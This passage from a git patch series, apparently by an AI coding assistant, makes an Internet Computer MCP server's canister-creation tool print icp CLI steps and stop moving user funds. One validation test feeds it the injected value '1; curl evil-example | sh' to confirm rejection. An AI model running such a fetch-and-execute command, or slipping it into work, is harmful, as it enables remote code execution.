(which stays free of financial language, per maintainer + review) ([#154](https://github.com/dfinity/imcp2/pull/154)), and `icp_top_up_canister` is instructions-only and executes nothing ([#153](https://github.com/dfinity/imcp2/pull/153)); README, landing page, - and server instructions state the server is not intended for financial - operations. Two direct counterexamples to the attestation's absolute + and server instructions state that financial transactions are not + supported. Two direct counterexamples to the attestation's absolute wording remain open and need a decision BEFORE it can be checked truthfully: `icp_create_canister`'s `icp` argument still executes an ICP→cycles conversion from the user's own ledger account (metered compute From dddc4a4698defb73cc2137aba7e54c253294fc4e Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 13:51:20 +0000 Subject: [PATCH 16/22] Make icp_create_canister instructions-only: never execute funding MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per maintainer review across the compliance PRs: creating and funding a canister spends the user's ICP or cycles, so the connector must not execute it. icp_create_canister now works exactly like the top-up tool (#153): it returns the icp CLI steps for the user to run themselves — install the CLI, check/mint cycles, icp canister create, and finally add the connector's management principal (printed by icp_cycles_balance) as a controller so icp_install_code and the lifecycle tools can operate the new canister. The executing paths are removed from the binary: the ICP-ledger transfer to the CMC, notify_create_canister, and the cycles-ledger create_canister call, with their wire types and helpers. With this, no tool initiates or executes a transfer of the user's funds: the server-wide 'asset-moving requests are denied' instruction now has no executing counterexample. The compliance refusal for cycles-ledger creation spends may name icp_create_canister again — it prints steps and executes nothing — and the CMC notify_* methods stay callable as the recovery path for a user's own interrupted CLI mint. README and server instructions updated; tests moved to pin the instructions-only contract (annotations, description, echoed amounts, controller handover step). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 51 +-- crates/imcp2-core/src/compliance.rs | 34 +- crates/imcp2-core/src/management.rs | 646 +++++++--------------------- crates/imcp2-core/src/tools.rs | 96 +++-- 4 files changed, 231 insertions(+), 596 deletions(-) diff --git a/README.md b/README.md index 39af4d7..b75d1d0 100644 --- a/README.md +++ b/README.md @@ -149,8 +149,8 @@ results). | `icp_get_skill` | `name` | The full `SKILL.md` instructions for one skill (e.g. `writing-motoko`, `icp-cli`, `cycles-management`) | | `icp_oql_guide` | — | The OQL query-surface dialect guide (for canisters where `get_canister_candid` reports `oql: true`): the JSON query object, predicate grammar, edges, and paged result shape. The entity/field names come from `get_canister_oql_schema` and queries run through `canister_query` (the `oql` argument) | | `get_canister_oql_schema` | `canister_id`, `derivation_origin`, `account?` | The canister's OQL schema catalogue (entities, primary keys, fields, edges) as JSON — wraps its `schema` method — plus a ready-to-run `canister_query` example per entity. **`derivation_origin` is required**: the schema is caller-gated, so an anonymous read is rejected (for now) with guidance, rather than returning an empty list | -| `icp_cycles_balance` | — | Your cycles-ledger balance (the funds `icp_create_canister` spends), as your standing II principal | -| `icp_create_canister` | `cycles?` / `icp?`, `controllers?`, `subnet?` | Create + fund a new canister — from your cycles-ledger balance (`cycles`) or by converting ICP from your ICP-ledger account via the CMC (`icp`); returns the new canister id | +| `icp_cycles_balance` | — | Your cycles-ledger balance and management principal — the principal to add as a controller (via the icp CLI) so the management tools can operate canisters you create | +| `icp_create_canister` | `cycles?` / `icp?` | **How to** create + fund a new canister: returns `icp` CLI steps for the USER to run themselves (create, fund, and add your management principal as a controller) — executes nothing and moves no funds | | `icp_install_code` | `canister_id`, `wasm_base64` / `wasm_hex`, `mode?`, `arg?` | Install/reinstall/upgrade a Wasm module (single-shot, or via the chunk store for large modules) | | `icp_canister_status` | `canister_id` | Run state, cycle balance, module hash, memory, controllers, allocations | | `icp_update_canister_settings` | `canister_id`, `controllers?`, allocations, `freezing_threshold?`, `log_visibility?`, … | Update a canister's settings | @@ -383,31 +383,19 @@ conventions. The management tools let the agent act **on chain as your standing Internet Identity principal** — a stable per-connection identity (the one returned when you -authenticate). Because a user ingress message cannot attach cycles, -`icp_create_canister` funds the new canister one of two ways, both keyed to that -management principal (the one `icp_cycles_balance` reports, default subaccount): - -- **`cycles`** — drawn from your **cycles-ledger** balance - (`um5iw-rqaaa-aaaaq-qaaba-cai`); fund it first (e.g. via the `icp` CLI / - `cycles-management` skill) and check it with `icp_cycles_balance`. -- **`icp`** — a decimal-ICP amount transferred from that principal's - **ICP-ledger** account (`ryjl3-tyaaa-aaaaa-aaaba-cai`, default subaccount) to - the **CMC**, which mints cycles into the canister (`notify_create_canister`). - Best-effort, single attempt: if the transfer lands but the - mint fails, the ICP is held by the CMC and the error carries the ICP-ledger - block index. Recovery means re-notifying the CMC for that block **with the same - arguments the call used** (the block index alone is not enough), not re-running - the tool: the call is **not** idempotent, so re-running it would transfer ICP again. - -**Top-ups are instructions-only.** `icp_top_up_canister` executes nothing and -moves no funds: it returns the [`icp` CLI](https://github.com/dfinity/icp-cli) -steps (`icp canister top-up …`, including where to get the CLI) for the user to -run the top-up themselves, in their own terminal, with keys they control. The -tool exists for completeness — to reflect the Internet Computer platform -capability — not to perform the operation on the user's behalf. - -`cycles` takes precedence if both are given to `icp_create_canister`. Lifecycle -calls +authenticate, printed by `icp_cycles_balance`). + +**Creation and top-ups are instructions-only.** `icp_create_canister` and +`icp_top_up_canister` execute nothing and move no funds: each returns the +[`icp` CLI](https://github.com/dfinity/icp-cli) steps (including where to get +the CLI) for the user to run the operation themselves, in their own terminal, +with keys they control. The tools exist for completeness — to reflect the +Internet Computer platform capabilities — not to perform the operations on the +user's behalf. The creation steps end with `icp canister settings update … +--add-controller `: adding the management principal as a controller +is what lets the connector's lifecycle tools operate the new canister. + +Lifecycle calls (`icp_install_code`, `icp_canister_status`, `icp_update_canister_settings`, `start`/`stop`/`uninstall`/`delete`) go to the management canister (`aaaaa-aa`) with the effective canister id set to the target. `icp_install_code` takes the @@ -415,10 +403,11 @@ compiled Wasm as base64/hex and uploads it via the chunk store automatically whe it exceeds the single-message limit. Together these make the end-to-end flow work: *"create a Motoko canister that does -X and deploy a new canister with Y ICP worth of cycles"* → the agent reads the -relevant skills, writes and **builds** the Wasm in its own environment, then -`icp_create_canister(icp = Y)` and `icp_install_code`. (Compiling Motoko/Rust to Wasm -happens in the agent's environment, not in this server.) +X and deploy it"* → the agent reads the relevant skills, writes and **builds** the +Wasm in its own environment, the user creates and funds the canister with the +`icp` CLI (`icp_create_canister` prints the exact steps), then `icp_install_code` +puts the Wasm on chain. (Compiling Motoko/Rust to Wasm happens in the agent's +environment, not in this server.) ## Connect from an MCP client diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index e77925b..b2abffb 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -49,9 +49,9 @@ //! ecosystem's ICRC-integrated platforms. The stated policy covers them. //! * The CMC's `notify_create_canister` / `notify_top_up` are deliberately //! NOT listed: they move no funds out of any account (they finalize a -//! mint from ICP the ledger already holds for the CMC), and blocking -//! them would strand the documented recovery path for an interrupted -//! `icp_create_canister` ICP funding flow. +//! mint from ICP the ledger already holds for the CMC), and they are the +//! recovery path when a user's own icp-CLI funding flow is interrupted +//! mid-mint. use candid::Principal; @@ -91,9 +91,9 @@ const DISALLOWED_CANISTER_METHODS: &[(&str, &str, &str)] = &[ // The cycles ledger's value movement beyond ICRC-1/-2 (which group one // already covers): withdrawals and the canister-creation spends. The // creation refusal points the user at running the operation themselves - // with the icp CLI — not at another connector tool (per review: the - // refusal must not read as this server creating canisters on the - // user's behalf). + // with the icp CLI; icp_create_canister is instructions-only (it prints + // those steps and executes nothing), so naming it does not offer an + // executing route (per review). (CYCLES_LEDGER, "withdraw", "a cycles-ledger withdrawal"), (CYCLES_LEDGER, "withdraw_from", "a cycles-ledger delegated withdrawal"), (CYCLES_LEDGER, "create_canister", "a cycles-ledger spend (canister creation)"), @@ -125,15 +125,14 @@ pub fn disallowed_update_method(canister_id: &Principal, method: &str) -> Option // wallet or frontend in the user's own browser. let instead = if method.starts_with("create_canister") { "Recommend that the user creates and funds canisters themselves with \ - the icp CLI in their own terminal (install with `npm install -g \ - @icp-sdk/icp-cli`, or see https://github.com/dfinity/icp-cli); the \ - icp-cli and cycles-management skills (icp_get_skill) carry the \ - current steps." + the icp CLI in their own terminal — the icp_create_canister tool \ + prints the exact steps (it executes nothing and moves no funds), and \ + the icp-cli and cycles-management skills (icp_get_skill) carry the \ + full guide." } else { "Recommend that the user performs this operation themselves, in a wallet \ or app frontend they control, in their own web browser — e.g. their \ - wallet at https://oisy.com, or for governance the NNS dapp at \ - https://nns.ic0.app." + wallet at https://oisy.com." }; Some(format!( "`{method}` is {what} — a financial transaction. Financial transactions \ @@ -220,19 +219,16 @@ mod tests { // The cycles ledger's canister-creation spends are refused on the generic // route, and their refusal points the user at running creation themselves - // with the icp CLI — never at another connector tool (per review, the - // refusal must not read as this server creating canisters on the user's - // behalf) and not at a wallet (the wrong venue for creation). + // with the icp CLI. icp_create_canister may be named because it is + // instructions-only — the refusal must say so, and must not point at a + // wallet (the wrong venue for creation). #[test] fn refuses_cycles_ledger_creation_spends_with_cli_redirect() { for method in ["create_canister", "create_canister_from"] { let msg = disallowed_update_method(&cycles_ledger(), method) .unwrap_or_else(|| panic!("{method} must be refused")); assert!(msg.contains("icp CLI"), "{msg}"); - assert!( - !msg.contains("icp_create_canister"), - "creation must not redirect to a connector tool: {msg}" - ); + assert!(msg.contains("executes nothing"), "{msg}"); assert!(!msg.contains("oisy.com"), "a wallet is the wrong venue for creation: {msg}"); } } diff --git a/crates/imcp2-core/src/management.rs b/crates/imcp2-core/src/management.rs index 90f46dc..2465cd9 100644 --- a/crates/imcp2-core/src/management.rs +++ b/crates/imcp2-core/src/management.rs @@ -1,31 +1,23 @@ -//! Canister creation & management as the connection's **management identity** — -//! the user's default account at this server's own origin, a stable per-user -//! controller/funder (derived on demand like any per-app account). +//! Canister management as the connection's **management identity** — the +//! user's default account at this server's own origin, a stable per-user +//! controller (derived on demand like any per-app account). //! -//! Two on-chain surfaces are used: +//! One on-chain surface is used: the **management canister** (`aaaaa-aa`) for +//! the canister lifecycle — `install_code` (single-shot or chunked), +//! `canister_status`, `update_settings`, `start`/`stop`/`uninstall`/`delete`. +//! Every call sets the ic-agent **effective canister id** to the *target* +//! canister (not `aaaaa-aa`), as the boundary node requires, and is signed by +//! a controller (the management identity). //! -//! * The **management canister** (`aaaaa-aa`) for the canister lifecycle: -//! `install_code` (single-shot or chunked), `canister_status`, -//! `update_settings`, `start`/`stop`/`uninstall`/`delete`. Every call sets -//! the ic-agent **effective canister id** to the *target* canister (not -//! `aaaaa-aa`), as the boundary node requires, and is signed by a -//! controller (the management identity). -//! -//! * Funding at **creation**, two ways (both as the management identity): -//! - **`cycles`** — draw from the caller's existing **cycles-ledger** -//! (`um5iw-rqaaa-aaaaq-qaaba-cai`) balance (a user ingress message can't -//! attach cycles, so the ledger, being a canister, attaches them). -//! - **`icp`** — transfer ICP from the caller's **ICP-ledger** account to -//! the **CMC** (memo-tagged deposit) and `notify_create_canister` to mint -//! cycles. Best-effort, single attempt: if the transfer lands but the -//! notify fails, the ICP is held by the CMC and is recoverable by -//! re-notifying with the returned block index (we do NOT retry, and the -//! caller must NOT blindly re-run — that transfers again). -//! -//! **Top-ups are instructions-only.** `icp_top_up_canister` deliberately executes -//! nothing: it returns the CLI steps for the user to run the top-up themselves -//! (see [`top_up_instructions`]). The tool exists to reflect the platform -//! capability; this server does not move cycles or ICP for a top-up. +//! **Creation and top-ups are instructions-only.** Creating or topping up a +//! canister spends the user's ICP or cycles, so `icp_create_canister` and +//! `icp_top_up_canister` deliberately execute nothing: each returns the icp +//! CLI steps for the user to run themselves (see +//! [`create_canister_instructions`] / [`top_up_instructions`]). The tools +//! exist to reflect the platform capability; this server does not create +//! canisters or move cycles or ICP. The creation steps include adding the +//! management principal (printed by `icp_cycles_balance`) as a controller, so +//! the lifecycle tools here can operate a canister the user created. //! //! Compiling Motoko/Rust to Wasm happens in the agent's own environment (guided //! by the IC skills); these tools take the already-built Wasm and put it on @@ -41,18 +33,8 @@ use serde::{Deserialize, Serialize}; use crate::identities::Identities; -/// Cycles ledger — creates/funds canisters from a principal's cycles balance. +/// Cycles ledger — read for `icp_cycles_balance`. const CYCLES_LEDGER: &str = "um5iw-rqaaa-aaaaq-qaaba-cai"; -/// Cycles Minting Canister — mints cycles from ICP for the `icp` funding path -/// (`notify_create_canister`). -const CMC: &str = "rkp4c-7iaaa-aaaaa-aaaca-cai"; -/// ICP ledger — the `icp` funding path transfers ICP from the caller's account here. -const ICP_LEDGER: &str = "ryjl3-tyaaa-aaaaa-aaaba-cai"; -/// Standard ICP-ledger transfer fee (0.0001 ICP), charged on top of the amount. -const ICP_TRANSFER_FEE_E8S: u64 = 10_000; -/// CMC deposit memo (ASCII, little-endian u64) that tags an ICP transfer with the -/// operation it funds. Defined by the ICP ledger / cycles-minting canister. -const MEMO_CREATE_CANISTER: u64 = 0x4145_5243; // 'CREA' /// 1 ICP = 100_000_000 e8s. const E8S_PER_ICP: u64 = 100_000_000; /// Above this, install via the chunk store rather than a single ingress message @@ -68,25 +50,16 @@ const CHUNK_SIZE: usize = 1_000_000; #[derive(Debug, serde::Deserialize, schemars::JsonSchema)] pub struct CreateCanisterArgs { - /// Cycles to fund the new canister with (exact), drawn from your - /// **cycles-ledger** balance (the principal `icp_cycles_balance` reports). Omit to - /// use `icp` instead. + /// Intended cycle amount to fund the new canister with. OPTIONAL and + /// informational only: it is substituted into the printed CLI commands so + /// the user can copy-paste them; no cycles are moved by this tool. #[serde(default)] pub cycles: Option, - /// ICP to convert into the new canister's cycles, as a decimal string e.g. - /// "0.5" or "2". Transferred from your **ICP-ledger** account (same management - /// principal as `icp_cycles_balance`, default subaccount) and minted to cycles via - /// the CMC — best-effort, single attempt, no retries. Ignored when `cycles` is - /// set. + /// Intended ICP amount to convert into the new canister's cycles, as a + /// decimal string e.g. "0.5". OPTIONAL and informational only: substituted + /// into the printed CLI commands; no ICP is moved by this tool. #[serde(default)] pub icp: Option, - /// Controller principals for the new canister. Defaults to [your principal]. - #[serde(default)] - pub controllers: Vec, - /// Optional subnet principal to create the canister on. Omit to let the - /// system choose. - #[serde(default)] - pub subnet: Option, } #[derive(Debug, serde::Deserialize, schemars::JsonSchema)] @@ -216,28 +189,23 @@ impl CyclesBalance { } } -/// Structured result of `icp_create_canister`. +/// Structured result of `icp_create_canister` — CLI instructions, never an +/// executed operation. Like `icp_top_up_canister`, the tool reflects a +/// platform capability for completeness, but the server does not create +/// canisters or move cycles or ICP on the user's behalf; the user runs the +/// printed commands themselves. #[derive(Debug, Serialize, schemars::JsonSchema)] -pub struct CreatedCanister { - /// The new canister's principal id — install code on it with icp_install_code. - pub canister_id: String, - /// The canister's controller principals. - pub controllers: Vec, - /// How the canister was funded, human-readable: for the `cycles` path, the - /// cycle amount and cycles-ledger block; for the `icp` path, the ICP amount - /// the CMC converted and the ICP-ledger block index. - pub funding: String, +pub struct CreateCanisterInstructions { + /// Always `false`: this tool executes nothing and moves no funds. + pub executed: bool, + /// Step-by-step CLI instructions for the user to create, fund, and (for + /// connector management) re-controller the canister themselves. + pub instructions: String, } -impl CreatedCanister { +impl CreateCanisterInstructions { pub fn human(&self) -> String { - format!( - "Created canister {} — {}. Controllers: {}.\n\ - Next: build your Wasm and install it with icp_install_code.", - self.canister_id, - self.funding, - self.controllers.join(", ") - ) + self.instructions.clone() } } @@ -253,7 +221,9 @@ fn default_init_arg() -> String { // testable without an IcTools and main.rs stays thin. // =========================================================================== -/// Your cycles-ledger balance (the funds `icp_create_canister` spends). +/// Your cycles-ledger balance, and the management principal itself — the +/// principal to add as a controller (via the icp CLI) so the management tools +/// here can operate a canister the user created. pub async fn cycles_balance(ids: &Identities, session_id: &str) -> Result { let (agent, principal) = management_agent(ids, session_id).await?; let ledger = parse_principal(CYCLES_LEDGER)?; @@ -275,98 +245,52 @@ pub async fn cycles_balance(ids: &Identities, session_id: &str) -> Result Result { - ids.require_write(session_id).await?; - let (agent, principal) = management_agent(ids, session_id).await?; - - let controllers = if args.controllers.is_empty() { - vec![principal] - } else { - args.controllers - .iter() - .map(|c| parse_principal(c)) - .collect::, _>>()? - }; - let controllers_text = || controllers.iter().map(Principal::to_text).collect::>(); - let subnet_selection = match &args.subnet { - Some(s) => Some(SubnetSelection::Subnet { - subnet: parse_principal(s)?, - }), - None => None, +) -> Result { + let cycles = match args.cycles { + Some(0) => return Err("cycles amount must be greater than 0".into()), + Some(c) => c.to_string(), + None => "".to_string(), }; - - // ICP funding path: transfer ICP from your ICP-ledger account to the CMC - // (memo = CREATE, deposit sub-account derived from YOU, the payer/caller), - // then notify the CMC to mint cycles and create the canister. Best-effort. - if args.cycles.is_none() { - if let Some(icp) = args.icp.as_deref() { - let e8s = parse_icp_e8s_positive(icp)?; - let block = cmc_icp_deposit(&agent, &principal, MEMO_CREATE_CANISTER, e8s).await?; - let arg = NotifyCreateCanisterArg { - block_index: block, - controller: principal, - subnet_type: None, - subnet_selection: subnet_selection.clone(), - settings: Some(CanisterSettings { - controllers: Some(controllers.clone()), - ..Default::default() - }), - }; - let bytes = Encode!(&arg).map_err(|e| format!("encode notify_create_canister: {e}"))?; - let reply = update_call(&agent, parse_principal(CMC)?, "notify_create_canister", bytes) - .await - .map_err(|e| notify_failed_hint("notify_create_canister", block, &e))?; - let result = Decode!(&reply, NotifyCreateResult) - .map_err(|e| format!("decode notify_create_canister reply: {e}"))?; - return match result { - Ok(canister_id) => Ok(CreatedCanister { - canister_id: canister_id.to_text(), - controllers: controllers_text(), - funding: format!( - "funded from {icp} ICP converted by the CMC (ICP-ledger block {block})" - ), - }), - Err(e) => Err(notify_error_msg("notify_create_canister", block, e)), - }; + let icp = match args.icp.as_deref().map(str::trim).filter(|s| !s.is_empty()) { + Some(s) => { + parse_icp_e8s_positive(s)?; + s.to_string() } - } - - // Cycles funding path: draw from your cycles-ledger balance. - let cycles = require_cycles(args.cycles)?; - let create = CyclesCreateArg { - from_subaccount: None, - created_at_time: None, - amount: Nat::from(cycles), - creation_args: Some(CmcCreateCanisterArgs { - settings: Some(CanisterSettings { - controllers: Some(controllers.clone()), - ..Default::default() - }), - subnet_selection, - }), + None => "".to_string(), }; - let ledger = parse_principal(CYCLES_LEDGER)?; - let arg = Encode!(&create).map_err(|e| format!("encode create_canister: {e}"))?; - let reply = update_call(&agent, ledger, "create_canister", arg).await?; - let result = - Decode!(&reply, CreateResult).map_err(|e| format!("decode create_canister reply: {e}"))?; - match result { - Ok(s) => Ok(CreatedCanister { - canister_id: s.canister_id.to_text(), - controllers: controllers_text(), - funding: format!( - "funded with {cycles} cycles (cycles-ledger block {})", - s.block_id - ), - }), - Err(e) => Err(format!("cycles ledger refused create_canister: {e:?}")), - } + let instructions = format!( + "No canister was created and no funds were moved: this server does not \ + create or fund canisters on your behalf. This tool exists for \ + completeness — creating canisters is an Internet Computer platform \ + capability — but the operation itself is yours to run, from your own \ + terminal, with the icp CLI:\n\ + \n\ + \x20 1. Get the icp CLI (if needed): npm install -g @icp-sdk/icp-cli\n\ + \x20 (Node.js >= 22; other installers: https://github.com/dfinity/icp-cli/releases)\n\ + \x20 2. Check your cycles-ledger balance: icp cycles balance -n ic\n\ + \x20 3. (If needed) convert ICP to cycles: icp cycles mint --icp {icp} -n ic\n\ + \x20 4. Create and fund the canister: icp canister create -e ic --cycles {cycles}\n\ + \x20 5. (Optional) to let this connector manage the new canister\n\ + \x20 (icp_install_code, status, lifecycle), add your management\n\ + \x20 principal — printed by icp_cycles_balance — as a controller:\n\ + \x20 icp canister settings update --add-controller -e ic\n\ + \n\ + For the full creation & funding guide, load the official \ + cycles-management skill (icp_get_skill with name \"cycles-management\")." + ); + Ok(CreateCanisterInstructions { + executed: false, + instructions, + }) } /// Build the CLI instructions `icp_top_up_canister` returns. Deliberately @@ -578,21 +502,6 @@ async fn mgmt_call( .map_err(|e| format!("{method} failed: {e}")) } -/// A plain update call to a specific canister (cycles ledger, etc.). -async fn update_call( - agent: &Agent, - canister: Principal, - method: &str, - arg: Vec, -) -> Result, String> { - agent - .update(&canister, method) - .with_arg(arg) - .call_and_wait() - .await - .map_err(|e| format!("{method} failed: {e}")) -} - /// Shared body for the no-payload lifecycle methods (all UPDATE calls). async fn lifecycle( ids: &Identities, @@ -652,16 +561,6 @@ async fn install_chunked( Ok(()) } -/// Validate the exact `cycles` amount for the cycles-ledger funding path (used -/// when no `icp` was given). -fn require_cycles(cycles: Option) -> Result { - match cycles { - Some(c) if c > 0 => Ok(c as u128), - Some(_) => Err("cycles amount must be greater than 0".into()), - None => Err("specify either `cycles` or `icp`".into()), - } -} - /// Parse a decimal-ICP string and require it to be > 0. fn parse_icp_e8s_positive(icp: &str) -> Result { let e8s = parse_icp_to_e8s(icp)?; @@ -671,118 +570,6 @@ fn parse_icp_e8s_positive(icp: &str) -> Result { Ok(e8s) } -/// CMC deposit sub-account for a principal: a 32-byte array `[len][principal -/// bytes][zero-pad]`. Matches `ic_ledger_types::Subaccount::from(principal)`. -fn principal_subaccount(p: &Principal) -> [u8; 32] { - let mut sub = [0u8; 32]; - let bytes = p.as_slice(); - sub[0] = bytes.len() as u8; - sub[1..1 + bytes.len()].copy_from_slice(bytes); - sub -} - -/// ICP-ledger AccountIdentifier (32 bytes): the big-endian CRC32 checksum of the -/// SHA-224 of `"\x0Aaccount-id" ‖ owner ‖ subaccount`, prepended to that hash. -fn account_identifier(owner: &Principal, subaccount: &[u8; 32]) -> Vec { - use sha2::{Digest, Sha224}; - let mut hasher = Sha224::new(); - hasher.update(b"\x0Aaccount-id"); - hasher.update(owner.as_slice()); - hasher.update(&subaccount[..]); - let hash = hasher.finalize(); // 28 bytes - let crc = crc32fast::hash(&hash).to_be_bytes(); - let mut out = Vec::with_capacity(32); - out.extend_from_slice(&crc); - out.extend_from_slice(&hash); - out -} - -/// Transfer ICP from your ICP-ledger account to the CMC's memo-tagged deposit -/// account for `dest` (the payer/caller, for CREATE), and return the ICP-ledger -/// block index. A failure here means no funds were moved. -async fn cmc_icp_deposit( - agent: &Agent, - dest: &Principal, - memo: u64, - amount_e8s: u64, -) -> Result { - let to = account_identifier(&parse_principal(CMC)?, &principal_subaccount(dest)); - let args = TransferArgs { - memo, - amount: Tokens { e8s: amount_e8s }, - fee: Tokens { - e8s: ICP_TRANSFER_FEE_E8S, - }, - from_subaccount: None, - to, - created_at_time: None, - }; - let bytes = Encode!(&args).map_err(|e| format!("encode ICP transfer: {e}"))?; - let reply = update_call(agent, parse_principal(ICP_LEDGER)?, "transfer", bytes).await?; - let result = - Decode!(&reply, TransferResult).map_err(|e| format!("decode ICP transfer reply: {e}"))?; - result.map_err(|e| match e { - TransferError::InsufficientFunds { balance } => format!( - "not enough ICP in your ICP-ledger account (balance {} e8s; need {} + {} fee). \ - Send ICP to your management principal's default ICP-ledger account first.", - balance.e8s, amount_e8s, ICP_TRANSFER_FEE_E8S - ), - TransferError::BadFee { expected_fee } => format!( - "the ICP-ledger transfer fee has changed: the ledger expected {} e8s but we sent {} \ - (the server's ICP_TRANSFER_FEE_E8S constant needs updating). No ICP was moved.", - expected_fee.e8s, ICP_TRANSFER_FEE_E8S - ), - other => format!("ICP-ledger transfer failed: {other:?}"), - }) -} - -/// Message for a transport-level failure of the CMC notify AFTER the ICP transfer -/// landed: the ICP is held by the CMC and is recoverable — do NOT blindly re-run. -fn notify_failed_hint(method: &str, block: u64, e: &str) -> String { - // `e` already reads " failed: …" (from `update_call`), so don't - // restate the method here. - format!( - "ICP transfer succeeded (ICP-ledger block {block}) but the follow-up CMC notify did not \ - complete: {e}. Your ICP is held by the CMC — recover it by re-calling {method} for block \ - {block} with the SAME arguments this call used (block_index alone is not enough). Do NOT \ - re-run this tool; that would transfer ICP again." - ) -} - -/// Actionable message for each `NotifyError` the CMC can return. -fn notify_error_msg(method: &str, block: u64, e: NotifyError) -> String { - match e { - NotifyError::Refunded { - reason, - block_index, - } => format!( - "the CMC refunded your ICP ({reason}{}); no cycles were minted, so you can retry.", - block_index - .map(|b| format!("; refund block {b}")) - .unwrap_or_default() - ), - NotifyError::Processing => format!( - "the CMC is still processing the deposit. Finish by re-calling {method} for block \ - {block} shortly, with the SAME arguments this call used (block_index alone is not \ - enough). Do NOT re-run this tool; that would transfer ICP again." - ), - NotifyError::TransactionTooOld(_) => format!( - "the ICP transfer (block {block}) is too old for the CMC to accept — check your \ - ICP-ledger / CMC balance before retrying." - ), - NotifyError::InvalidTransaction(m) => { - format!("the CMC rejected the deposit as invalid: {m}") - } - NotifyError::Other { - error_code, - error_message, - } => format!( - "the CMC returned an error ({error_code}): {error_message}. If your ICP left your \ - account, recover by re-calling {method} for block {block} with the SAME arguments this \ - call used (block_index alone is not enough)." - ), - } -} /// Parse a decimal-ICP string ("0.5", "2", ".25") into e8s, rejecting >8 decimals. fn parse_icp_to_e8s(s: &str) -> Result { @@ -950,43 +737,6 @@ struct Account { subaccount: Option>, } -#[derive(CandidType)] -struct CyclesCreateArg { - from_subaccount: Option>, - created_at_time: Option, - amount: Nat, - creation_args: Option, -} - -#[derive(CandidType)] -struct CmcCreateCanisterArgs { - settings: Option, - subnet_selection: Option, -} - -#[derive(CandidType, Clone)] -enum SubnetSelection { - Subnet { subnet: Principal }, -} - -#[derive(CandidType, Deserialize)] -struct CreateCanisterSuccess { - block_id: Nat, - canister_id: Principal, -} - -#[derive(CandidType, Deserialize, Debug)] -enum CreateCanisterError { - InsufficientFunds { balance: Nat }, - TooOld, - CreatedInFuture { ledger_time: u64 }, - TemporarilyUnavailable, - Duplicate { duplicate_of: Nat, canister_id: Option }, - FailedToCreate { fee_block: Option, refund_block: Option, error: String }, - GenericError { message: String, error_code: Nat }, -} -type CreateResult = std::result::Result; - // ---- Shared settings (subset valid for both the cycles ledger and the // management canister `canister_settings`; only set fields are encoded) ---- @@ -1011,67 +761,6 @@ enum LogVisibility { AllowedViewers(Vec), } -// ---- ICP ledger (legacy `transfer`, for the ICP funding path) ---- - -#[derive(CandidType, Deserialize, Debug)] -struct Tokens { - e8s: u64, -} - -#[derive(CandidType)] -struct TimeStamp { - timestamp_nanos: u64, -} - -#[derive(CandidType)] -struct TransferArgs { - memo: u64, - amount: Tokens, - fee: Tokens, - from_subaccount: Option>, - /// AccountIdentifier — a 32-byte blob (`vec nat8`). - to: Vec, - created_at_time: Option, -} - -#[derive(CandidType, Deserialize, Debug)] -enum TransferError { - BadFee { expected_fee: Tokens }, - InsufficientFunds { balance: Tokens }, - TxTooOld { allowed_window_nanos: u64 }, - TxCreatedInFuture, - TxDuplicate { duplicate_of: u64 }, -} -type TransferResult = std::result::Result; - -// ---- CMC (ICP → cycles: notify_create_canister) ---- - -#[derive(CandidType)] -struct NotifyCreateCanisterArg { - block_index: u64, - controller: Principal, - subnet_type: Option, - subnet_selection: Option, - settings: Option, -} - -#[derive(CandidType, Deserialize, Debug)] -enum NotifyError { - Refunded { - reason: String, - block_index: Option, - }, - Processing, - TransactionTooOld(u64), - InvalidTransaction(String), - Other { - error_code: u64, - error_message: String, - }, -} -/// `notify_create_canister` → `variant { Ok: principal; Err: NotifyError }`. -type NotifyCreateResult = std::result::Result; - // ---- Management canister (aaaaa-aa) ---- #[derive(CandidType, Deserialize)] @@ -1197,14 +886,73 @@ mod tests { } #[test] - fn require_cycles_validates() { - assert_eq!(require_cycles(Some(5)).unwrap(), 5u128); - assert!(require_cycles(Some(0)).is_err()); // zero rejected - assert!(require_cycles(None).is_err()); // neither cycles nor icp + fn icp_amount_validator_rejects_zero() { assert!(parse_icp_e8s_positive("0").is_err()); // zero ICP rejected assert_eq!(parse_icp_e8s_positive("0.5").unwrap(), 50_000_000); } + // icp_create_canister is instructions-only, exactly like the top-up tool: + // nothing is executed, given amounts are validated then echoed into + // copy-pastable commands, and the steps include handing the connector's + // management principal control of the new canister so the lifecycle tools + // can operate it afterwards. + #[test] + fn create_instructions_execute_nothing_and_echo_amounts() { + let out = create_canister_instructions(CreateCanisterArgs { + cycles: Some(2_000_000_000_000), + icp: None, + }) + .unwrap(); + assert!(!out.executed, "the tool must never create a canister"); + assert!(out.instructions.contains("No canister was created"), "{}", out.instructions); + assert!( + out.instructions + .contains("icp canister create -e ic --cycles 2000000000000"), + "{}", + out.instructions + ); + assert!( + out.instructions.contains("npm install -g @icp-sdk/icp-cli"), + "{}", + out.instructions + ); + // The connector-management handover step: add the management principal + // (printed by icp_cycles_balance) as a controller. + assert!(out.instructions.contains("--add-controller"), "{}", out.instructions); + assert!(out.instructions.contains("icp_cycles_balance"), "{}", out.instructions); + // No ICP amount given: the conversion line keeps a fill-in placeholder. + assert!(out.instructions.contains("--icp "), "{}", out.instructions); + } + + // The echoed amounts are advertised as copy-pastable, so junk is rejected + // (never printed), exactly as on the old executing path. + #[test] + fn create_instructions_validate_amounts() { + let zero = create_canister_instructions(CreateCanisterArgs { + cycles: Some(0), + icp: None, + }) + .expect_err("zero cycles must be rejected"); + assert!(zero.contains("greater than 0"), "{zero}"); + let shell = create_canister_instructions(CreateCanisterArgs { + cycles: None, + icp: Some("1; curl evil-example | sh".into()), + }) + .expect_err("shell-looking icp must be rejected"); + assert!(shell.contains("invalid ICP amount"), "{shell}"); + let out = create_canister_instructions(CreateCanisterArgs { + cycles: None, + icp: Some(" 0.5 ".into()), + }) + .unwrap(); + assert!(out.instructions.contains("icp cycles mint --icp 0.5 -n ic"), "{}", out.instructions); + assert!( + out.instructions.contains("--cycles "), + "{}", + out.instructions + ); + } + // icp_top_up_canister is instructions-only: the structured output must say // nothing was executed, and the printed commands must be copy-pastable — // canonical canister id, given amounts substituted, the rest left as @@ -1300,91 +1048,6 @@ mod tests { assert!(err.contains("invalid principal"), "{err}"); } - // CMC deposit sub-account: 